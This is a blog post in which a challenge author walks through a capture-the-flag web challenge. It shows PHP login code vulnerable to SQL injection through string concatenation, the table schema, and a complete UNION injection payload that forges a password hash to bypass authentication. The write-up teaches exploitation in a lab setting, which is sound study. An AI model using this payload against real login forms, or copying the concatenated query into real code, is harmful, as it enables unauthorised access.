Rawsec 2020 - Web2 Challenge Write-Up

No comments
Disclaimer: I'm the challenge author




As this challenge provide source code, we will just look into the source code.

In the source.zip contain 3 files.
  1. db.sql
  2. index.php
  3. style.css
Soo... based on code you should realize that this is just textbook SQL Injection. Without dumping whole data from database, you can bypass the login mechanism by using UNION technique to pollute the variable was used in the login process.

The login mechanism:
if(!empty($_POST['username'])) {
 $q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");
 if($q->num_rows > 0) {
  // username exists
  $data = $q->fetch_object();
  if( password_verify($_POST['password'], $data->userpass) ) {
   // valid password
   if($data->userlevel >= 999) {
    $flag = include("flag.php");
    echo "<script>alert('Flag: ".$flag."');</script>";
   } else {
    echo "<script>alert('Insufficient user level :)');</script>";
   }
  } else {
   echo "<script>alert('Invalid username or password.');</script>";
  }
 } else {
  echo "<script>alert('Invalid username or password');</script>";
 }
}

In order to use UNION technique, you required to have same column number as original (first) query. at line number 9 index.php shown SELECT * query, mean that selecting all available column in the table.
$q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");

We refer to the db.sql, at CREATE TABLE statement, it has 5 columns.

CREATE TABLE `logins` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `userpass` varchar(255) NOT NULL,
  `userlevel` varchar(1) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;

Now we have all the information we need to do UNION technique.
To generate hash that satisfy password_verify, please use following commands:
php -r "echo password_hash('yourpassword', PASSWORD_DEFAULT);"

After generate the hash.
Our injection would be:
a' and 1=2 union select 1,2,'our generated hash',9999,3 -- a
and fill the password field with yourpassword
Thats all,
ciao

Full content of db.sql and index.php

No comments :

Post a Comment